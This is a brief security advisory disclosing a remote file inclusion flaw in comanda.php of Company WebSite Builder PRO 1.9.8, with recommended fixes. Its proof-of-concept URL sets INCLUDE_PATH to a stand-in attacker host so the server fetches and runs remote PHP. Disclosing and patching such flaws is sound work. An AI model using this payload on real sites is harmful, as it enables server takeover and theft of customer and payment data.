Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~

Application     : Company WebSite Builder PRO ( CWB )
version         : 1.9.8
URL             : http://www.grafxsoftware.com/

This software makes it easy to build an e-commerce site that processes credit cards,
wire transfers. This is a great Content Management System that's easy to install and use WITHOUT having
to FTP upload pages every time they need to be updated.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~

- Invalid include function at comanda.php
-----------------------comanda.php------------

<?
...
include($INCLUDE_LANGUAGE_PATH."$LANG.inc.php");
include($INCLUDE_PATH."connection.php");
include_once($INCLUDE_PATH."connection.php");
include_once($INCLUDE_PATH."cls_produs.php");
include_once($INCLUDE_PATH."cls_left_menu.php");
include_once($INCLUDE_PATH."cls_stire.php");
include_once($INCLUDE_PATH."cls_orders.php");
include_once($INCLUDE_PATH."cls_headline_prod.php");
include_once($INCLUDE_PATH."cls_checkout.php");
include_once("cls_download_products.php");
....
?>
----------------------------------------------------------

Input passed to the "$INCLUDE_PATH" parameter in comanda.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~

http://localhost/cwb/comanda.php?INCLUDE_PATH=http://atacker.com/inject.txt?


Solution:
~~

- Sanitize variable $INCLUDE_PATH affected files.
- Turn off register_globals
